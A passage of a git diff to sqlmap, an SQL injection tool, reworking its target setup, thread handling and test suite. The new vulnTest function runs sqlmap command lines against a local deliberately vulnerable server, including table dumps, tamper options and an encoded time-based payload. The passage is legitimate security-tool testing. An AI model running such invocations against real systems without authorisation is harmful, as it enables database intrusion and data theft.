getUnicode(tempDir) + logger.warning(warnMsg) conf.dumpPath = tempDir @@ -636,19 +662,11 @@ def _createTargetDirs(): if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath) except (OSError, IOError, TypeError) as ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") - except Exception as _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - + tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.outputPath = tempDir @@ -656,7 +674,7 @@ def _createTargetDirs(): try: with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f: - f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname) + f.write(getUnicode(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)) f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: @@ -669,6 +687,9 @@ def _createTargetDirs(): errMsg += "to write to the output directory '%s' (%s)" % (paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex)) raise SqlmapMissingPrivileges(errMsg) + except UnicodeError as ex: + warnMsg = "something went wrong while saving target data ('%s')" % getSafeExString(ex) + logger.warning(warnMsg) _createDumpDir() _createFilesDir() @@ -702,6 +723,9 @@ def initTargetEnv(): if conf.cj: resetCookieJar(conf.cj) + threadData = getCurrentThreadData() + threadData.reset() + conf.paramDict = {} conf.parameters = {} conf.hashDBFile = None @@ -711,7 +735,7 @@ def initTargetEnv(): _setDBMS() if conf.data: - class _(unicode): + class _(six.text_type): pass kb.postUrlEncode = True @@ -727,7 +751,16 @@ class _(unicode): setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original - match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "") + if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if '=' not in conf.data.strip('='): + try: + original = conf.data + conf.data = _(decodeBase64(conf.data, binary=False)) + setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) + except: + pass + + match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR def setupTargetEnv(): diff --git a/lib/core/testing.py b/lib/core/testing.py index 030f58f396a..a8d3182680b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,330 +1,314 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import codecs import doctest +import logging import os +import random import re -import shutil +import socket +import sqlite3 import sys import tempfile +import threading import time -import traceback -from extra.beep.beep import beep -from lib.controller.controller import start -from lib.core.common import checkIntegrity +from extra.vulnserver import vulnserver from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout -from lib.core.common import getUnicode +from lib.core.common import randomInt from lib.core.common import randomStr -from lib.core.common import readXmlFile -from lib.core.data import conf +from lib.core.common import shellExec +from lib.core.compat import round +from lib.core.convert import encodeBase64 +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths -from lib.core.enums import MKSTEMP_PREFIX -from lib.core.exception import SqlmapBaseException -from lib.core.exception import SqlmapNotVulnerableException -from lib.core.log import LOGGER_HANDLER -from lib.core.option import init -from lib.core.option import initOptions -from lib.core.option import setVerbosity -from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING -from lib.parse.cmdline import cmdLineParser - -class Failures(object): - failedItems = None - failedParseOn = None - failedTraceBack = None - -_failures = Failures() +from lib.core.data import queries +from lib.core.patch import unisonRandom +from lib.core.settings import IS_WIN -def smokeTest(): +def vulnTest(): """ - Runs the basic smoke testing of a program + Runs the testing against 'vulnserver' """ + TESTS = ( + ("-h", ("to see full list of options run with '-hh'",)), + ("--dependencies", ("sqlmap requires", "third-party library")), + ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), + ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), + (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), + ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), + ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), + ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), + ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), + ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), + ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), + ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), + ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), + ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), + ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), + ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), + ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), + ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), + ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), + ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 31 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), + ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), + ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), + ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), + ) + retVal = True - count, length = 0, 0 + count = 0 + cleanups = [] - if not checkIntegrity(): - retVal = False + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run(address=address, port=port) - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - length += 1 + vulnserver._alive = True - for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): - continue + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() - for filename in files: - if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": - path = os.path.join(root, os.path.splitext(filename)[0]) - path = path.replace(paths.SQLMAP_ROOT_PATH, '.') - path = path.replace(os.sep, '.').lstrip('.') - try: - __import__(path) - module = sys.modules[path] - except Exception as ex: - retVal = False - dataToStdout("\r") - errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) - logger.error(errMsg) + while vulnserver._alive: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((address, port)) + s.sendall(b"GET / HTTP/1.1\r\n\r\n") + result = b"" + while True: + current = s.recv(1024) + if not current: + break else: - # Run doc tests - # Reference: http://docs.python.org/library/doctest.html - (failure_count, test_count) = doctest.testmod(module) - if failure_count > 0: - retVal = False - - count += 1 - status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + result += current + if b"vulnserver" in result: + break + except: + pass + finally: + s.close() + time.sleep(1) - clearConsoleLine() - if retVal: - logger.info("smoke test final result: PASSED") + if not vulnserver._alive: + logger.error("problem occurred in vulnserver instantiation (address: 'http://%s:%s')" % (address, port)) + return False else: - logger.error("smoke test final result: FAILED") + logger.info("vulnserver running at 'http://%s:%s'..." % (address, port)) - return retVal + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + cleanups.append(config) -def adjustValueType(tagName, value): - for family in optDict.keys(): - for name, type_ in optDict[family].items(): - if type(type_) == tuple: - type_ = type_[0] - if tagName == name: - if type_ == "boolean": - value = (value == "True") - elif type_ == "integer": - value = int(value) - elif type_ == "float": - value = float(value) - break - return value + handle, database = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + cleanups.append(database) -def liveTest(): - """ - Runs the test of a program against the live testing environment - """ + with sqlite3.connect(database) as conn: + c = conn.cursor() + c.executescript(vulnserver.SCHEMA) - retVal = True - count = 0 - global_ = {} - vars_ = {} - - livetests = readXmlFile(paths.LIVE_TESTS_XML) - length = len(livetests.getElementsByTagName("case")) - - element = livetests.getElementsByTagName("global") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) - - element = livetests.getElementsByTagName("vars") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - var = child.getAttribute("value") - vars_[child.tagName] = randomStr(6) if var == "random" else var - - for case in livetests.getElementsByTagName("case"): - parse_from_console_output = False - count += 1 - name = None - parse = [] - switches = dict(global_) - value = "" - vulnerable = True - result = None - - if case.hasAttribute("name"): - name = case.getAttribute("name") + handle, request = tempfile.mkstemp(suffix=".req") + os.close(handle) + cleanups.append(request) - if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): - continue + handle, log = tempfile.mkstemp(suffix=".log") + os.close(handle) + cleanups.append(log) - if case.getElementsByTagName("switches"): - for child in case.getElementsByTagName("switches")[0].childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - value = replaceVars(child.getAttribute("value"), vars_) - switches[child.tagName] = adjustValueType(child.tagName, value) + handle, multiple = tempfile.mkstemp(suffix=".lst") + os.close(handle) + cleanups.append(multiple) - if case.getElementsByTagName("parse"): - for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): - if item.hasAttribute("value"): - value = replaceVars(item.getAttribute("value"), vars_) + content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) + with open(request, "w+") as f: + f.write(content) + f.flush() - if item.hasAttribute("console_output"): - parse_from_console_output = bool(item.getAttribute("console_output")) + content = '%d' % (port, encodeBase64(content, binary=False)) + with open(log, "w+") as f: + f.write(content) + f.flush() - parse.append((value, parse_from_console_output)) + base = "http://%s:%d/" % (address, port) + url = "%s?id=1" % base + direct = "sqlite3://%s" % database + tmpdir = tempfile.mkdtemp() - conf.verbose = global_.get("verbose", 1) - setVerbosity() + with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: + content = f.read().replace("url =", "url = %s" % url) - msg = "running live test case: %s (%d/%d)" % (name, count, length) - logger.info(msg) + with open(config, "w+") as f: + f.write(content) + f.flush() - initCase(switches, count) + content = "%s?%s=%d\n%s?%s=%d\n%s&%s=1" % (base, randomStr(), randomInt(), base, randomStr(), randomInt(), url, randomStr()) + with open(multiple, "w+") as f: + f.write(content) + f.flush() - test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) - test_case_fd.write("%s\n" % name) + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) - try: - result = runCase(parse) - except SqlmapNotVulnerableException: - vulnerable = False - finally: - conf.verbose = global_.get("verbose", 1) - setVerbosity() + if IS_WIN and "uraj" in options: + options = options.replace(u"\u0161u\u0107uraj", "sucuraj") + checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] - if result is True: - logger.info("test passed") - cleanCase() - else: - errMsg = "test failed" + for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + options = options.replace(tag, value) - if _failures.failedItems: - errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems) + cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) - errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH - errMsg += " - traceback: %s" % bool(_failures.failedTraceBack) + if "" in cmd: + handle, tmp = tempfile.mkstemp() + os.close(handle) + cmd = cmd.replace("", tmp) - if not vulnerable: - errMsg += " - SQL injection not detected" + output = shellExec(cmd) - logger.error(errMsg) - test_case_fd.write("%s\n" % errMsg) + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % output, coloring=False) + retVal = False - if _failures.failedParseOn: - console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING) - console_output_fd.write(_failures.failedParseOn) - console_output_fd.close() - - if _failures.failedTraceBack: - traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING) - traceback_fd.write(_failures.failedTraceBack) - traceback_fd.close() + count += 1 - beep() + clearConsoleLine() + if retVal: + logger.info("vuln test final result: PASSED") + else: + logger.error("vuln test final result: FAILED") - if conf.stopFail is True: - return retVal + for filename in cleanups: + try: + os.remove(filename) + except: + pass - test_case_fd.close() - retVal &= bool(result) + return retVal - dataToStdout("\n") +def smokeTest(): + """ + Runs the basic smoke testing of a program + """ - if retVal: - logger.info("live test final result: PASSED") - else: - logger.error("live test final result: FAILED") + unisonRandom() - return retVal + with open(paths.ERRORS_XML, "r") as f: + content = f.read() -def initCase(switches, count): - _failures.failedItems = [] - _failures.failedParseOn = None - _failures.failedTraceBack = None + for regex in re.findall(r'', content): + try: + re.compile(regex) + except re.error: + errMsg = "smoke test failed at compiling '%s'" % regex + logger.error(errMsg) + return False - paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count)) - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") + retVal = True + count, length = 0, 0 - logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + continue - LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename != "__init__.py": + length += 1 - cmdLineOptions = cmdLineParser() + for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + continue - if switches: - for key, value in switches.items(): - if key in cmdLineOptions.__dict__: - cmdLineOptions.__dict__[key] = value + for filename in files: + if os.path.splitext(filename)[1].lower() == ".py" and filename not in ("__init__.py", "gui.py"): + path = os.path.join(root, os.path.splitext(filename)[0]) + path = path.replace(paths.SQLMAP_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + try: + __import__(path) + module = sys.modules[path] + except Exception as ex: + retVal = False + dataToStdout("\r") + errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex) + logger.error(errMsg) + else: + logger.setLevel(logging.CRITICAL) + kb.smokeMode = True - initOptions(cmdLineOptions, True) - init() + (failure_count, _) = doctest.testmod(module) -def cleanCase(): - shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) + kb.smokeMode = False + logger.setLevel(logging.INFO) -def runCase(parse): - retVal = True - handled_exception = None - unhandled_exception = None - result = False - console = "" - - try: - result = start() - except KeyboardInterrupt: - pass - except SqlmapBaseException as ex: - handled_exception = ex - except Exception as ex: - unhandled_exception = ex - finally: - sys.stdout.seek(0) - console = sys.stdout.read() - LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ - - if unhandled_exception: - _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) - retVal = None - elif handled_exception: - _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) - retVal = None - elif result is False: # this means no SQL injection has been detected - if None, ignore - retVal = False - - console = getUnicode(console, encoding=sys.stdin.encoding) - - if parse and retVal: - with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: - content = f.read() - - for item, parse_from_console_output in parse: - parse_on = console if parse_from_console_output else content - - if item.startswith("r'") and item.endswith("'"): - if not re.search(item[2:-1], parse_on, re.DOTALL): - retVal = None - _failures.failedItems.append(item) - - elif item not in parse_on: - retVal = None - _failures.failedItems.append(item) - - if _failures.failedItems: - _failures.failedParseOn = console - - elif retVal is False: - _failures.failedParseOn = console + if failure_count > 0: + retVal = False - return retVal + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) + + def _(node): + for __ in dir(node): + if not __.startswith('_'): + candidate = getattr(node, __) + if isinstance(candidate, str): + if '\\' in candidate: + try: + re.compile(candidate) + except: + errMsg = "smoke test failed at compiling '%s'" % candidate + logger.error(errMsg) + raise + else: + _(candidate) -def replaceVars(item, vars_): - retVal = item + for dbms in queries: + try: + _(queries[dbms]) + except: + retVal = False - if item and vars_: - for var in re.findall("\$\{([^}]+)\}", item): - if var in vars_: - retVal = retVal.replace("${%s}" % var, vars_[var]) + clearConsoleLine() + if retVal: + logger.info("smoke test final result: PASSED") + else: + logger.error("smoke test final result: FAILED") return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index f6f6bb65d68..7334560036a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,24 +1,28 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import difflib -import random +import sqlite3 import threading import time import traceback +from lib.core.compat import WichmannHill +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException @@ -48,19 +52,22 @@ def reset(self): self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None - self.lastErrorPage = None + self.lastPageTemplateCleaned = None + self.lastPageTemplate = None + self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 - self.lastRedirectURL = None - self.random = random.WichmannHill() + self.lastRedirectURL = tuple() + self.random = WichmannHill() self.resumed = False self.retriesCount = 0 self.seqMatcher = difflib.SequenceMatcher(None) self.shared = shared + self.technique = None self.validationRun = 0 self.valueStack = [] @@ -70,13 +77,15 @@ def readInput(message, default=None, checkBatch=True, boolean=False): # It will be overwritten by original from lib.core.common pass +def isDigit(value): + # It will be overwritten by original from lib.core.common + pass + def getCurrentThreadData(): """ Returns current thread's local data """ - global ThreadData - return ThreadData def getCurrentThreadName(): @@ -94,10 +103,13 @@ def exceptionHandledFunction(threadFunction, silent=False): kb.threadException = True raise except Exception as ex: - if not silent and kb.get("threadContinue"): - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + from lib.core.common import getSafeExString - if conf.get("verbose") > 1: + if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): + errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) + logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) + + if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): @@ -110,62 +122,81 @@ def setDaemon(thread): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] + def _threadFunction(): + try: + threadFunction() + finally: + if conf.hashDB: + conf.hashDB.close() + + kb.multipleCtrlC = False kb.threadContinue = True kb.threadException = False - - if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): - while True: - message = "please enter number of threads? [Enter for %d (current)] " % numThreads - choice = readInput(message, default=str(numThreads)) - if choice: - skipThreadCheck = False - if choice.endswith('!'): - choice = choice[:-1] - skipThreadCheck = True - if choice.isdigit(): - if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: - errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS - logger.critical(errMsg) - else: - conf.threads = numThreads = int(choice) - break - - if numThreads == 1: - warnMsg = "running in a single-thread mode. This could take a while" - logger.warn(warnMsg) + kb.technique = ThreadData.technique + kb.multiThreadMode = False try: + if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): + while True: + message = "please enter number of threads? [Enter for %d (current)] " % numThreads + choice = readInput(message, default=str(numThreads)) + if choice: + skipThreadCheck = False + + if choice.endswith('!'): + choice = choice[:-1] + skipThreadCheck = True + + if isDigit(choice): + if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + logger.critical(errMsg) + else: + conf.threads = numThreads = int(choice) + break + + if numThreads == 1: + warnMsg = "running in a single-thread mode. This could take a while" + logger.warning(warnMsg) + if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: - threadFunction() + try: + _threadFunction() + except (SqlmapUserQuitException, SqlmapSkipTargetException): + pass return + kb.multiThreadMode = True + # Start the threads for numThread in xrange(numThreads): - thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) + thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() except Exception as ex: - errMsg = "error occurred while starting new thread ('%s')" % ex.message + errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish - alive = True - while alive: + while True: alive = False for thread in threads: - if thread.isAlive(): + if thread.is_alive(): alive = True - time.sleep(0.1) + break + if not alive: + break + time.sleep(0.1) except (KeyboardInterrupt, SqlmapUserQuitException) as ex: print() @@ -173,13 +204,20 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio kb.threadContinue = False kb.threadException = True + if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): + kb.multipleCtrlC = True + raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") + + kb.lastCtrlCTime = time.time() + if numThreads > 1: logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: - while (threading.activeCount() > 1): - pass + while threading.active_count() > 1: + time.sleep(0.1) except KeyboardInterrupt: + kb.multipleCtrlC = True raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: @@ -188,24 +226,30 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio except (SqlmapConnectionException, SqlmapValueException) as ex: print() kb.threadException = True - logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) + logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) - if conf.get("verbose") > 1: + if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): traceback.print_exc() - except: - from lib.core.common import unhandledExceptionMessage - + except Exception as ex: print() - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + + if not kb.multipleCtrlC: + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: - kb.bruteMode = False + kb.multiThreadMode = False kb.threadContinue = True kb.threadException = False + kb.technique = None for lock in kb.locks.values(): if lock.locked(): @@ -215,7 +259,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() if cleanupFunction: cleanupFunction() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index e95378b1575..21588a1892a 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,20 +1,16 @@ #!/usr/bin/env python """ 